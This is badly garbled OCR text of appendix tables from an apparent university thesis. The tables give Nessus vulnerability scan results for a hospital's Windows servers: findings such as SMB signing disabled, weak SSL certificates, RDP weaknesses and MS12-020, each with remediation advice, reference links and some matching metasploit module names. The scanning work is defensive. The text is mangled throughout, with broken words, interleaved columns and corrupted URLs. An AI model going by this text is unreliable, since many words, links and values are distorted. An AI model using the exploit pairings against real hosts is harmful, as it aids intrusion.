3.med cechis :2 pluginlD:1 Deskiop Protocol - Select the "Allow connections (blank) i W\:'Z\;;cssm.urg,’u. A ANK.
ium Eni . B405 Server Man-in- only from computers running httneftechnet mi fico w
P the-Middle Remote Desktop with Network P mierasn
Service Weakness Level Authentication' setting if it mfen-
Pack 1 ic available. us/library/ec 78261 0 aspx
SSL Certificate
pluginiD:4 ith Wi Purchase or generate a proper Jank Jank XXX XXX,
s411 g rong certificate for this service. (lek) (lek) el
Hostname
pluginlD:5 S5L Certificate Purchase or generate a proper Jank lank AN
1192 Cannot Be Trusted certificate for this service. (blank) (blask) xxx
pluginlD-5 SSL Self-Signed Purchase or generate a proper KKK
lank lank
7582 Cenificate certificate for this service. (o) (blask) a1
hitp:/fsupport. microsofi.c
om/kb/BRT429
Enforce message signing in the ! .
host’s configuration. On hnp_mechnr;t:: fico
Windows, this is found in the
pluginID:5 | SMB Signing a1 =orrtow wotiov. O W usflibrary/cc 731957 aspx | xocx xcx.
T608 Disabled vy N 1_:-3.-. hutpffwww nessus orgfu? w
Samba, the setting is called P —
s igning’. See the ' lso'
mer signing’. See m ane hitp:ifwww samba.org/sa
links for further details.
mbaldocs/man/manpages-
3/smb.conf 5 himl
luginlD:5 Termingl - i RD]L::Z?M“ e K
P _fﬁ % | Encryption Level r (blank) (blank) oo
is Medium or Low - High ; )
4. FIPS Compliant
. - Force the use of SSL as a A
Microsoft . 5 - http:/fwww . oxid it‘downl
: Microsoft transport layer for this service if’
Window: oads/rdp-ghu.pdf
Sle-rver : Windows Remote supported, orfand O nib::: u?
ceclis 2008 B2 pluginiD:1 Desktop Protocol - Select the 'Allow connections (blank) P ezsim% orgh? K XN
En se B405 Server Man-in- only from computers running hitpefftechnet mi fico XXX
s:vl P_'m’ the Middle Remote Desktop with Network P ~ crose
Ll
Weakness Level Authentication' setting if it )
Pack 1 is available, usflibrary/cc 782610 aspx
SSL Certificate
pluginlD:4 'mi:r“ Purchase or generate a proper lak Jank A ANK.
5411 W N certificate for this service. (ack) (blask) xocd
Hostname
pluginlD:5 SSL Certificate Purchase or generate a proper XK XHK.
lank lank
1192 Cannot Be Trusted certificate for this service. -0 (blask) a3
pluginiD:5 S5L Self-Signed Purchase or generate a proper AN
lank lank
7582 Cenificate certificate for this service. (blank) (blask) xxx.3
hitp:/fsupport. microsofi.c
om/kb/RET429
OIEe mMEsSAge su%mn,g = hup:fitechnet. microsofi.co
host's configuration. On e
Windows, this is found in the
pluginID:5 |  SMB Signing ; : Sg(;cu: ISPar “:]n " usilibrarylcc731957.aspx | x0CXKK.
T608 Disabled vy N 1_")'- hitpefiwww . nessus.org/u? XXX
Samba, the setting is called 74BR07T23
‘server signing’. See the lsa"
em.' signing. See m : hitpziiwww samba.org/sa
links for further details.
mba/docs/man/manpages-
3fsmb.conf.5 himl
pluginlD:5 Terminal Services e RDZ:TMI' e XXX XXX,
7690 Encryption Level 3. High (black) (black) xxx 3
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Hospital B [CVSS Score] (Cont.)

Risk

3.me
dium

Plugin

metasploit

name 0s I pluginName solution _ name see_also P
Apply the following regisiry
changes per the referenced
Technet advisories : Set : .
) ) HKLM\SYSTEM\CurrentCont http:fisupport.microsoft. com/kh/ql4
Microsoft Microsoft rolSetControNLS A\RestrictAn 3474/
pacse Windows pluginl Windows SMB o 1 (blank) hitpfisupport microsofcom/kb/iq24 | ssod
cel Server D:265920 NULL Session ¥ 6261/ xox 12
- HELM\SYSTEM\CurrentCont .
2003 Authentication rolSet\Serviceshla rverp hup:/itechnet microsoft.comfen-
e us/library/ceTR5969( WS 10).aspx
s=]
Remove BROWSE
Enforce message signing in the hitpfsupport. microsofi. com/kb/BET
host's configuration. On 419
inl i Windows, this is found in the hitp:/fiechnet. microsoft.com/en-
I;]STEIJS S%I;:;f:dmg Local Security Policy. On (blank) us/libraryfecT3 1957 aspx x:;x;ar
k Samba. the setting is called hitp/fwww.nessus.org/u?74b80723 )
‘server signing’. See the ‘see hutpeffwww samba org/sambaldocs/
also’ links for further details. man/manpages-3/smb.conf 5 html
- Force the use of SSL as a
Micrasoft Micrasoft transport layer for this service g B
Windows Windows Remote if supported, orfand htlp..‘.“www.a:;::t:;.«:wn]mdsfrﬂp—
Server pluginl Desktop Pmlc_ncol - Select the "Allow oannecu_ons (blank) hitp:Hwww. nessus.org/u?e 3628096 XXX XXX,
2003 D: 18405 Server Man-in- only from computers running hiip:/ftechnet microsoft.comfen a3
Service the-Middle Remote Deskiop with Network Pusﬂ'h J.'cc":"-E26]D-as N :
Pack 2 Weakness Level Authentication' setting if forary. sp
it is available.
Apply the following regisiry
changes per the referenced
Technet advisories : Set : .
St HKLM\SYSTEM\CurrentCont bt “Fm“’;;?nmm”qm
pluginl Windows SMB mmlmmmxﬁ\?esmm (blank) hitp-fisupport microsofi comkbviq24 | ook,
D:265920 NULL Session ¥ 6261/ xx 13
i HELM\SYSTEM\CurrentCont .
Authentication ISet\Services\lan r hup:/itechnet microsoft. com/en-
s AT, R P us/library/ceTR5969(WS. 10).aspx
s=]
Remove BROWSE
Reconfi the affected
pluginl SSL Weak Cipher epplksﬁon:,g!l:poss':]e 1o avoid (blank) hitp:fwww.opensslorg/docsfapps/ci | xocxx
1 1l
D:26928 Suites 5 rted hers_html 13
e Suppo the use of weak ciphers. phers o
SSI Certificate ) hupitools.ietforgimlirfc3279
lugin] si - Contact the Certificate hitp:#iwww.phreedom.org/research/r R
pug igned using Authority to have the (blank) oguecal
D:35291 Weak Hashing . . 3 xxx.13
Algorithm certificate reissued. hitpe/ftechnet microsoft. comfen-
usfsecurity/advisory/96 1 509
pluginl S3L Mediued nppl:iec:‘:i'::si.::a?:;&st:‘:uid AKX
Strength Ciphe: lank lank’
D:42873 Su'l:sgs 'FM; use of medium strength (blank) (blank) xxx.13
TICS STIPPo ciphers
SSL Certificate
pluginl _ Purchase or generale a proper AKX
D:45411 “;;'h Wrong certificate for this service. (blank) (blank) oo 13
pluginl SSL Centificate Purchase or generale a proper XX XKK.
D:51192 | Cannot Be Trusted certificate for this service. (biank) (blank) xxx.13
pluginl SSL Seli-Signed Purchase or generale a proper HHXHKK,
D:57582 Certificate certificate for this service. (biank) (biank) xx 13
Enforce message signing in the hitpffsupport microsoft. com/kh/887
host's configuration. On 429
" P Windows, this is found in the hup:/itechnet microsoft.com/en-
luginl SMB 5 .
B s D Local Security Policy. On (blank) usflibrary/cc 731957 aspx .
: = Samba, the setiing is called hup:/fwww.nessus.orglu?T4b80723 | O
‘server signing’. See the ‘see hitpeifwww. samba. org/sambaldocs/
also’ links for further details. man/manpages-3/smb.conf.5 html
. Terminal Services Change RDP encryption level
IZ|:'157690 Encryption Level o one of (blank) (blank) x:;x;&;
) is Medium or Low 3. High 4. FIPS Compliant )
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Table D-3 Risk Assessment Report Hospital B [CVSS Score] (Cont.)

Plugin metasploit
Risk name 0s D pluginName solution _ name see_also jig
- Force the use of SSLasa
Microsoft transport layer for this service iic
hitpeifs Loxid.iv'd loads/1
Microsoft Windows Remote if supported, orfand Tperivw o:;bu pd?w“ rdp-
3 med b3 Window: luginl Desktop Protocol - Select the 'Allow connecti i XL
. we indows | pluel top Protoco ! 085 | (blank) | hupsfwww.nessus.org/u%e2628096 | o
ium 3eee Server D:18405 Server Man-in- only from computers running hitp://technet microsoft comjen A 33
2008 R2 the-Middle Remote Deskiop with Network usil i 732610. -
Weakness Level Authentication’ seiting if ibraryfce -asp
it is available.
pluginl SSL Certificate Purchase or generate a proper XK KAX.
D:51192 | Cannot Be Trusted certificate for this service. (blasik) (black) xxx.33
pluginl SSL Self-Signed Purchase or generate a proper HHKKEX.
D:57582 Certificate certificate for this service. (blasik) (blask) A 33
Enforce message signing in the hutp:/fsupport. microsoft com/kb/ERT
host's configuration. On 429
luginl SME Signin: Windows, this is found in the hitp:iftechnet microsoft.comfen- J—
];;;503 ) ng:Jd & Local Security Policy. On (blank) us/library/ce 731957 aspx xx)-t 33'
i Samba, the setting is called hitp:/fwww.nessus.org/u?74b80723 ’
‘server signing’. See the “see http:/fwww.samba org/samba/docs/
also' links for further details. man/manpages-3fsmb_conf5 html
pluginl Terminal Services e R’;::ﬁ"”ﬁ??“““ o XKN XXX,
1 . . - -
Encryption Level blank’ lank
D:sTE%0 | ;::fm':‘”m L":w 3. High (blank) (blaskc) 33
e e 4. FIPS Compliant
. - Force the use of SSLasa
Microghft Microsoft transport layer for this service
T
Window: hitpeifs Loxid.iv'd loads/i
Sle-rve-r s Windows Remote if supported, orfand tpelluw mgbu pd?w“ rdp-
luginl Deskiop Protocol - Select the 'Allow connecti i AN
2008R2 | P op OIS (lank) | hipsfwww nessus.org/u%e2628096 | o
. D:18405 Server Man-in- only from computers running , w33
Enterprise . - http:ftechnet microsoft.com/fen-
Service the-Middle Remote Desktop with Network usfl P
-l Weakness Level Authentication' setting if ibraryfe i
it is available.
pluginl SSL Certificate Purchase or generate a proper O
blank’ lank
D:51192 | Cannot Be Trusted certificate for this service. ( ) (blask) a0 33
pluginl SSL Self-Signed Purchase or generate a proper KHKKAX.
D:57582 Certificate certificate for this service. (blank) (blask) A 33
Enforce message signing in the hitp:/fsupport microsofit.com/kh/88T
host's configuration. On 429
luginl SMB Signi Windows, this is found in the hitp:ifiechnet microsoft.comfen-
S—;:!r;;as - ;mhd g Local Security Policy. On (blank) us/librarylce731957.aspx ":::3";
) Samba, the setting is called http:/fwww.nessus.org/u?74b80723 ’
‘server signing’. See the see hntp:/fwww._samba orgfsamba/docs/
also' links for further details. man/manpages-3/smb_conf5 himl
pluginl g ytnal Services s R’;::ﬁ"cﬂ??“““ L XA XXX
1 . s o -
D:57690 _ft&?ﬁ‘ﬁ‘ﬁ 3. High (blanlk) (blark) 33
s 4. FIPS Compliant
- Force the use of SSLas a
Microsoft transport layer for this service .
hatpeifs Loxid.iv'd loads/i
Microsoft Windows Remote if supported, orfand Tpvww o:,-bu pd?w“ rdp-
be Window: luginl Deskiop Protocol - Select the "Allow connecti ’ KA
we incows | pluein top Protoco et 075 | (blank) | hitpsfwww.nessus.org/u?e2628096 |
cel Server D:18405 Server Man-in- only from computers running hitp://technet microsoft comlen w33
2008 R2 the-Middle Remote Desktop with Network sl !cc‘?EZEllJ. « -
Weakness Level Authentication' seting if ibrary P
it is available.
pluginl ASP.NET Make sure that DEBUG — microseft comidefinlt | s ams
Ll % 1 Icrosollee - "
. DEBUG Method statements are disabled or only (blank) . ) )
D:33270 Enabled usable by authenticated users. -aspTscid=kb en-us; 815157 A 33
pluginl S5L Certificate Purchase or generate a proper XK KAX.
blank’ lank
D:51192 | Cannot Be Trusted certificate for this service. ( ) (blask) xxx.33
pluginl SSL Self-Signed Purchase or generate a proper HHKKEX.
blank lank
D:57582 Centificate certificate for this service. ( ) (blask) w33
pluginl Terminal Services chanes R—z:::cnf;?ﬁ““ o AKX
] s - -
E; tion Level blank lank
D:57690 | xr-:" on wa 3. High (blanlk) (blark) w33
s Medium or 4. FIPS Compliant
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Plugin metasploit
Risk name 0s D pluginName solution _ name see_also P
. - Force the use of SSLas a
Microsoft Microsofi transport layer for this service
wslener s Windows Remaote if supported, orfand hup:ﬂwww.oxs:.ln;:?wn rdp-
3 med webc R2 pluginl Desktop Protocol - Select the "Allow connections (blank) P— nessu..c org/u7e2628096 XN XAX.
ium ecl Enteroci D:18405 Server Man-in- only from computers running R - 'mmk“ xxx33
S:'P_"“ the-Middle Remote Desktop with Network P o librarecT2610 -
P:I:Uf Weakness Level Authentication’ setting if ibearyfec -aspx
it is available.
ASPNET Make sure that DEBUG
luginl X hitpeifs: -microsofLcomfdefault | o000
By oo | DEBUGMethod | statements are disabled or only | (blank) P as""fgd_kh_m_m_ aiay e
; Enabled usable by authenticated users. AP e :
pluginl SSL Certificate Purchase or generate a proper blank lank XXA KX
D:51192 | Cannot Be Trusted certificate for this service. ( ) (blazk) Xxx.33
pluginl S5L Self-Signed Purchase or generate a proper KA KHX.
blank lank
D:57582 Certificate ifi for this service. ( ) (blask) w33
pluginl Terminal Services i “—:::::‘:;‘P"“" o XXN XXX,
1 - - -
Encryption Level blank lank
D:sTeO0 | - opton teve 3. High e (Glask) xxx33
is Medium or Low .
4. FIPS Compliant
Microsoft Terminal Services .
Llow | eccdb Windows pluginl Encryption Level S RDP;"FWIUH fevel (blank) (blank) XXA KX
i Server D:30218 is not FIPS-140 I XXX 38
. 4. FIPS Compliant
2008 Compliant
Enterprise ) hitp:fwww. nessus org/u?2 1 Talb66
Service pluginl S5L RC4 Cipher Re:;:ﬁgnre_;he::‘_i:;&lio (blank) hitp:/fer. yp-tofialks/2013.03.1Yslide | xoo0xxx.
Pack2 | D:65821 | Suites Supported a“’_d '”"r'kzl 3 ” s.pdf X 38
R ciphers. huepffwww isg rhul ac uk/tls/
Microsolt Terminal Services Change RDP encryption level
.. Windows pluginl Encryption Level o NN
cochiy Server D:30218 is not FIPS-140 (blank) (blask) oo |
2008 R2 Compliant 4. FIPS Compliant
Enterprise htp:ffwww. nessus org/u?2 1 Tadooo
Reconfi the affected
Service pluginl SSL RC4 Cipher .un |gme s http/fer. yptoftalks2013.03. 1 slide | xxxxsx.
. application, if possible, 1w (blank)
Pack 1 D:65821 Suites Supported avoid use of RC4 cinhers s.pdf oo |
! ciphers. httpffwww isg rhul ac uk/ls/
Ml_cmsnﬂ . Ten'mm? Seraeey Change RDP encryption level
" Windows pluginl Encryption Level ey blank lank KA KN,
el 1 Server | D:30218 | s not FIPS-140 <L 2 (blank) o
. 4. FIPS Compliant
2008 R2 Compliant
Enterprise hitp:/fwww.nessus.org/u?2 1 Ta3666
Service | pluginl | SSLRC4 Cipher am’:j‘z:ﬁg"“’_ ;h’“’ ::T:f;efo (blanky | MIPHCrp-1oRalk2013.03.124slide | oo
Pack 1 | D:65821 | Suites Supported e ol apdf xex 3
: Tphers. http/iwww.isg rhulac uk/ls/
Terminal Servic
) ) iR SEVIEES | Cange RDP encryption level
pacsc Microsoft pluginl Encryption Level o (blank) (blank) XA XXX,
cel Windows D:30218 is not FIPS-140 - o 13
" 4. FIPS Compliant
Server Compliant
2003 SSL/TLS hitpfwww ietforg/mail-
Service R iati chivefweb/tls/current/s 35948 h
' pluginl cnegotiation Contact the vendor for specific archiveiwe urrent/ms g0 AKX XNAX.
Pack2 | 5 aoss0 Han dehakes teh information. (blank) tml o 13
) MiTM Plaintext L ) hitp/fwww.g-sec. Iu/practicaltls pdf ’
Data Injection hitpelftools_ietCorghimlirfc5 746
hitpefwww nessus.org/u?21Talb66
pluginl | SSLRC4 Cipher Re':;:ﬁ,g"m_ ;he ::T_:femi (blas) hutp:/fcr.yp.toftalks/2013.03.12/skide | xxx.xxx.
D:65821 | Suites Supported app ication, T possibie, s.pdf xxx 13

avoid use of RC4 ciphers.

huepafwww isg rhul ac uk/tls/




Fac. of Grad. Studies, Mahidol Univ. M.Eng. (Computer Engineering) / 143

Table D-3 Risk Assessment Report Hospital B [CVSS Score] (Cont.)

Plugi: metasploit
Risk | name os usin pluginName solution P see_also P
1D _ hame =
Microsoft Terminal Services
Cha RDP enc ion level
Alow web3 Windows pluginl Encryption Level nee ;::‘_qum e (blank) (blank) XXX XKX.
: 3eee Server D:30218 is not FIPS-140 4 FIPS C- li *xxx.33
2008 R2 Compliant : ompliant
Microsoft
Windoors Terminal Services
Sen Change RDP encryption level
200::'2 pluginl Encryption Level "ee ;"_qum e (blank) (blank) AN XNX.
. D:30218 is not FIPS-140 - . xxx 33
Enterprise Comnliant 4. FIPS Compliant
Service #il
Pack 1
M-_u:msaﬂ . Leh Sg—we—r Uses Make sure that every sensitive
webe Windows pluginl Plain Text form it At over (blank) (blank) NN XX
cel Server D:26194 Authentication HTTPS W33
2008 R2 Forms )
Terminal Services
Cha RDP enc ion level
pluginl Encryption Level nee ;:'n-u_rypuom e (blank) (blank) XXX XKX.
D:30218 is not FIPS-140 - . W33
. 4. FIPS Compliant
Compliant
hutpzffwww nessus_orgfu?21Tal666
R 1i; the affected
pluginl | SSLRCA Cipher B st 1o (blanky | PUPCrypI0/aks2013.03. 12lide. | xxxxxx.
D:65821 | Suites Supported x m]_“mmm‘ar RE:G.:' . s.pdf X33
iphers. hittp:/fwww.isg rhulac. uk/tls/
Microsoft
Windows
Web Server U
Server Tugind ePh'n _::“ £ Make sure that every sensitive —_—
2o08R2 | P o form transmits content over (blank) (blank)
: D:26194 Authentication Xxx.33
Enterprise Forms HTTPS.
Service
Pack 1
. '['ermme._l e Change RDP encryption level
pluginl Encryption Level . (blank) (blank) XXX XKX.
D:30218 is not FIPS-140 . , W33
7 4. FIPS Compliant
Compliant
hutpzffwww nessus_orgfu?2 1 Tal666
R 1i; the affected
pluginl | SSLRCA Cipher e hiip:flee.yp.oltalksi2013.03.12slide | xxx.xcx.
- application, if possible, 1o (blank)
D:65821 Suites Supported L A s.pdff xxx 33
avoid use of RC4 ciphers. "
http:/ifwww.isg rhul ac uk/tls/
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Table D-4 Risk Assessment Report Hospital B [OWASP + Business Impact]

4. FIPS Compliant

N pluginl . . metasploit_
risk name lag D pluginName solution name see_also 1P
Microsofi . .
Windows MS09-050: Microsoft Microsofi hittp/fwww.nessus.orgfu?
! Windows SMB2 . SRV1SYS 0f72ecT2
Server . . . Microsoft has released a paich . .
. pluginl _Smb2ValidateProvide . ) SMB Negotiate | http:/ftechnetmicrosofico | xxxo
leritical | ceedb 2008 for Windows Vista and
Entersrise D:40887 rCallback() Windows Server 2008, ProcessID mien- XX} 38
Sc:r:p':e Vulnerability (975497) ’ Function Table us/security/bulletin/MS09
Pack 3 {uncredentialed check) Dereference -030
MSI2-.0_20: ) Microsoft has re!eased a set of MS12-020
Vulnerabilities in patches for Windows XP, Mi i
pluginl | Remote Desktop Could | 2003, Vista, 2008, 7, and 2008 R':::l’e (blask) XA,
D:58435 Allow Remote Code R2: Desk Xux 38
Execution (26T1387) http:/ftechnet microsoft.comfen x
{uncredentialed check) -usfsecurity/bulletin/ms 1 2-020
Microsofi MS12-020: Microsoft has released a set of MS12-020
Windows Vulnerabilities in paiches for Windows XP, . i
pacse Server pluginl Remote Desktop Could | 2003, Vista, 2008, 7, and 2008 Rem:l.;a (blank) XAX XXX,
cel 2003 D:58435 Allow Remote Code RI: Desk w13
Service Execution (26T1387) hitp:/fiechnet microsoft.comfen E
Pack 2 {uncredentialed check) -usfsecurity/bulletin/ms 1 2-020
. - pluginl SSL Certificate with Purchase or generate a proper NXAXKK
Zhigh Foodb D:45411 Wrong Hi certificate for this service. (blank) (blank) XAx 3B
) pluginl SSL Certificate Cannot Pmﬂnse or gxenen_lle a pppﬁ (blank) (blank) XXX AXX.
Microsoft D:51192 Be Trusted certificate for this service. Xux 38
Windows pluginl S5L Se!l'—Signed Purch?se or g\enen_lle a pppﬁ (blank) (blank) KXXXXK.
Server D:57582 Certificate centificate for this service. K038
2008 hitp:/fsupport.microsofiL.c
Enterprise om/kb/EET7429
. Enfi igning in the
Service umel T i htp//technet microsoft.co
Pack 2 host's configuration. On ]
Tuginl Windows, this is found in the us/librarv/ccT3 1957
PUEIN. | SMR Signing Disabled Local Security Policy. On (blank) j RAryee ASPX | RXXKXX.
D:57608 R hittp/fwww. nessus org/u? K 3R
Samba, the setting is called 74680723
‘server signing’. See the ‘see — mba
also’ links for further details. tp:/fwww. samba.org/sa
mhba/docs/man/manpages-
3fsmb.conf 5 html
Tuginl Terminal Services Change RDP encryption level [—
E‘:_ sfaoo Encryption Level is 1o one of : (blank) (blank) .
E Medium or Low 3. High 4. FIPS Compliant )
. pluginl SSL Certificate with Purchase or generate a proper NXAXKK
h lank blank
“& D:45411 Wrong Hostname certificate for this service. - (blank) xxx
) pluginl SSL Certificate Cannot Pm:hflse or g\enen_lle a pppﬁ (blank) (blank) XXX AXK.
Microsofi D:51192 Be Trusted certificate for this service. fee |
Windows pluginl S5L Self-Signed Purchase or generate a proper (blank) (blank) KXXXXK.
Server D:57582 Certificate certificate for this service. xxx. |
2008 R2 hittp:/fsupport. microsofLc
Enterprise om/kb/EET429
. Enfi igning in the
Service NN W hutp/ftechnet microsoft.co
Pack 1 host's configuration. On men
pluginl Windaws, this is Soad imithe usfl'brsry!ccﬂ_l‘)s'.l' aspx NXAXKK
— N . " 1l - -
D:57608 SMB Signing Disabled Loc-alSeuunty_Pu]tcy. On (blank) hatp:/fwww.nessus. 2 xxxl
Samba, the setting is called 74680723
‘server signing’. See the see .
also’ links for further details. hutp:/fuwv.samba.org/sa
mba/docs/man/manpages-
3fsmb.conf 5 html
luginl Terminal Services chanes Rﬂ:‘:ﬁ:ﬁmn o KAX KK
IZ‘:S'?:“‘)O Encryption Level is 1 i ) (blank) (blank) el :
Iz - 1] "
Medium or Low <h
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Table D-4 Risk Assessment Report Hospital B [OWASP + Business Impact] (Cont.)

risk | name os Plugin pluginName solution metasploit see_also P
i8] _name -
. . pluginl SSL Centificate with Purchase or generate a proper KA
Zhigh ceclis D:45411 ‘Wrong Hostname certificate for this service. (blank) (blank) X003
. pluginl SSL Certificate Cannot Purchase or generale a proper XX AXK.
ﬁ'_“:“’ﬂ D:51192 Be Trusted centificate for this service. (blank) (blank) xxx.3
ndows pluginl SSL Self-Signed Purchase or generate a proper KA
Server ’ N - ° . (blank) {blank)
2008 B2 D:57582 Certificate for this service. a3
Enterprise http:fisupport. microsoft.com
Service Enforce message signing in the /kb/ERT429
Pack 1 host's configuration. On hitp-itechnet microsoft.com/
tugind Windows, this is found in the en-us/library/cc73 1957 .aspx -
I;-S'?IEOS SMB Signing Disabled Local Security Policy. On (blank) hitp:/fwww. nessus orglu?74 R B
) Samba, the setting is called bB0723 )
‘server signing'. See the ‘see hutp/fwww. samba.org/fsamb
also" links for further details. afdocs/man/manpages-
3/smb._conf 5 html
lugind Terminal Services Change RDP encryption level -
1:7— 5'? % Encryption Level is 10 one of : (blank) (blank) o
) Medium or Low 3. High 4. FIPS Compliant )
Apply the following registry
changes per the referenced hitp:#support microsoft.com
Technet advisories : Set : fkbigl43474/
Microsoft . . HELM\SYSTEM\CurrentCont htpfisupport microsoft.com
pacse | Windows | pluginl M""“;:Jﬂl_‘l'_" ;ﬁ;iSMB roISeControlL SARestrietAn | [kb/g246261/ ROKKX
cel Server D:26920 Authentication onymous=]1 hitpftechnet. microsofi.com/ xx 12
2003 HELM\SY STEM\CurrentCont en-
rolSet\Services\lanmanserver'p us/library/cc TRS96H(WS.10)
arametersirestrictnullsessacces aspx
s=1 Remove BROWSE
http:fisupport. microsoft.com
Enforce message signing in the /kb/ERT429
host's configuration. On hittp-iftechnet microsofi.com/
lueind Windows, this is found in the en-us/library/ccT3 1957 aspx -
I;-S'?{:OS SME Signing Disabled Local Security Policy. On (blank) hitp:/fwww. nessus orglu?74 x 11'
) Samba, the setting is called bR0723 )
‘server signing'. See the "see http/fwww samba_ orgfsamb
also' links for further details. afdocs/man/manpages-
3/smb.conf.5 html
Apply the following registry
changes per the referenced hitp:#support microsoft.com
Microsoft Technet advisories : Set : fkbigl43474/
Windows . . HELM'\SYSTEM\C urrentCont http:fisupport microsoft.com
Server plugind M'm:r‘;_'ﬂi éﬁﬁwa rolSetControl SARestrictAn | [kb/g246261/ ROKKX
2003 D:26920 A onymous=]1 hitp:ftechnet. microsofi.com/ xx 13
Service HELMSYSTEMVCurrentCont en-
Pack 2 rolSet\Services\lanmanserver'p us/library/ce TRS 96N WS.10)
arametersirestrictnullsessacces aspx
s=1 Remove BROWSE
pluginl S5L Weak Cipher Suites R.a:u_nﬁgfne l.he_amcled . hipe/fwww.openssLorgfdocs | xo0xxo.
D-26928 s cted application, if possible to avoid (blank) Japps/ci himl e ld
) B the use of weak ciphers. ST )
Reconfigure the affected
pluginl S5L Medium Strength application if possible to avoid (blank) (blank) KA
D:42873 Cipher Suites Supported use of medium strength w13
ciphers.
pluginl SSL Centificate with Purchase or generate a proper KA
lank lank
D:45411 Wrong Hostname certificate for this service. (blank) (blank) w13
pluginl S5L Certificate Cannot Purchase or generate a proper XXX XXX,
D:51192 Be Trusted certificate for this service. (®lank) (blank) xx. 13
pluginl SSL Self-Signed Purchase or generate a proper Jank lank KA
D:57582 Certificate certificate for this service. (blank) (blank) xxx 13
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Table D-4 Risk Assessment Report Hospital B [OWASP + Business Impact] (Cont.)

Medium or Low

4. FIPS Compliant

risk name 05 Plugin pluginName solution ploit see_also P
ID _name -
httpisupport.microsofi.com
Mi it Enforce message signing in the fkb/BET429
Wi host's configuration. On hitpfitechnet microsofi.com/
" Slmer s Iugin Windows, this is found in the en-us/library/ec 731957 aspx. —_—
l - -
2high P::’l o0 r‘;-sfsos SMB Signing Disabled Local Security Policy. On (blank) | hupwww.nessus orgha?74 | o
Servi . Samba, the setting is called bE0OT23 )
Pscvk';e ‘server signing’. See the 'see http:/iwww_samba org/samb
also’ links for further details. afdocs/man/manpages-
3/smb_conf 5 himl
luginl Tecminal Scrvices . b Rgl::enir;mmn . 0K AN
l 2 - -
Plug Encryption Level is ) (blank) (blank)
D:5T650 e 3. High oo 13
Medium or Low "
4. FIPS Compliant
web3 pluginl SSL Certificate Cannot Purchase or generate a proper (blank) (blank) AKX,
Jeee D:51192 Be Trusted certificate for this service. o33
pluginl S5L Self-Signed Purchase or generate a proper AXH XXX,
- fi D:57582 Centificate certificate for this service. (blazk) (blazk) a 33
:Wi lows hittpsupport. microsoft.com
Server Enforce message signing in the Tkb/BRT429
2008 R2 host's configuration. On httpfiftechnet. microsoft.com/
luginl Windows, this is found in the en-us/library/ec 731957 aspx. —
];5;:603 SMB Signing Disabled Local Security Policy. On (blank) hitpofiwww nessus orglu?74 “;-; 33'
- Samba, the setting is called b80723 )
‘server signing’. See the 'see http:/fwww. samba org/samb
also' links for further details. afdocs/man/manpages-
3/smb_conf.5 html
. Terminal Services Change RDP encryption level
SI:E:;L Encryption Level is to one of : (blank) (blank) x:::;&;
) Medium or Law 3. High 4. FIPS Compliant )
pluginl SSL Certificate Cannot Purchase or generate a proper NN XXX,
D:51192 Be Trusted certificate for this service. (black) (blacsth a 33
Microsoft pluginl S5L Self-Signed Purchase or generate a proper Jank Jank 000 AN
Windows D:57582 Centificate certificate for this service. (blank) (blank) a 33
Server hittp=fisupport microsofl.com
2008 R2 Enforce message signing in the Tkb/BET429
Enterprise host's configuration. On hittpfitechnet. microsofi.com/
Service — Windows, this is found in the en-us/library/ec 731957 aspx. —
Pack 1 ]Z‘:SE:SDE SMB Signing Disabled Local Security Policy. On (blank) hutpofiwww.nessus.org/u?74 ) 33'
- Samba, the seliing is called bE0T23 —
‘server signing’. See the 'see http:/fwww.samba org/samb
also’ links for further details. afdocs/man/manpages-
3/smb_conf. 5. html
n Terminal Services Change RDP encryption level
I 1 KN
S_;'f;'m Encryption Level is 10 one of : (blank) (blank) o ":3"
- Medium or Low 3. High 4. FIPS Compliant o
Microsoft . Make sure that DEBUG hittpisupport. microsoft.com
webe Windows pluginl ASE NETDERUG statements are disabled or only (blank) Idefault.aspxTscid=kb:en- N
ccl D:33270 Method Enabled R a 33
Server usable by authenticated users. us:815157
2008 R2 pluginl SSL Certificate Cannot Purchase or generate a proper Jank Jank XXN XXX,
D:51192 Be Trusted certificate for this service. (blask) (blask) a 33
pluginl S5L Seli-Signed Purchase or generate a proper 000 AN
D:57582 Centificate certificate for this service. (blask) (blask) a 33
Iugin Terminal Services Change RDP encryption level —_—
l - -
D oo | Encryption Levelis 0 one of : (blank) (blank) e
) Medium or Low 3.High 4. FIPS Compliant ’
Maki that DEBUG hittpisupport.mi i
Mi f pluginl ASFNET DERUG smleme:l.:ﬁ disabled or onl (blank) :?:el’anlt x:::i'::b'::-m e
Windows | D:33270 Method Enabled Y ASpX- : xxx.33
s usable by authenticated users. us;815157
m:rz pluginl S5L Certificate Cannot Purchase or generate a proper (blank) (blank) AKX,
Enternrise D:51192 Be Trusted certificate for this service. a 33
Ser:'pice pluginl S5L Self-Signed Purchase or generate a proper (blank) (blank) 000 AN
Pack 1 D:57582 Centificate certificate for this service. a 33
pluginl Terminal Services ¢ RE::E?"“ o AKX
D:57690 Encryption Level is 3. High (blask) (blask) o 33
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Table D-4 Risk Assessment Report Hospital B [OWASP + Business Impact] (Cont.)

usfsecurityfadvisory/96 1509

risk name 05 Plug pluginName solution ploit see_also P
1D _name -
. - Force the use of SS5Las a
Microsoft transport layer for this service
Windows Microsoft Windows ifs yened orfand hutpfiwww oxid. itfdownloads/rdp-
3.mediu Server luginl Remote Deskiop | _ g0 onnections gbupdf B
- ceedb 2008 [‘)’. 1;05 Protocol Server s e o s (blank) | hitpfwww nessus.org/u”e2628096 | xxxx
Enterprise | Man-in-the-Middle Rm:m - gkm"': o Nm;:‘fk hitp://technet microsoft com/en- x38
- ! ibr cc
Service Weakness Level Authentication' setting if us/library/cc 7826 10.aspx
Pack 2 ey -
it is available_
» Termmfx] Sen-'n:e-f Change RDP encryption level MK
pluginl Encryption Level is & - (blank) (blank) o
D:30218 not FIPS-140 4 FIPSC- liant <38
Compliant F | )
hitp/iwww nessus.org/u?217a3666
plugin SSL RC4 Cipher ; tei_“;ig"mj r'"e ::_r:;efo (blanky | M yP-IoRaIke2013.03.12/lide m
D:65821 |  Suites Supported as:i; - ':rREl m' : s.pdf s
i ) httpe/iwww.isg rhul.ac_uk/tls i
. - Force the use of S5Las a
Microsofi ft layer for thi .
Windows Microsoft Windows "m?gs ’“’r'm oo d‘::dm“ hitpeffwww.oxid.it/downloads/rdp-
Seer luginl Remote Deskiop Sele::l mu:?:]low onnections ghu.pdf e
- © 1
cechis | 2008 R2 [f. ] gqos Protocol Server B e o i (blank) | http:tiwww.nessus.org/u%e2628096 | xxxx
Enterprise | Man-in-the-Middle | =¥ o0 SOIPUE B hitp://technet microsoft com/en- xl
Service Weakness Top . L us/library/ccT82610.aspx
Level Authentication' setting if
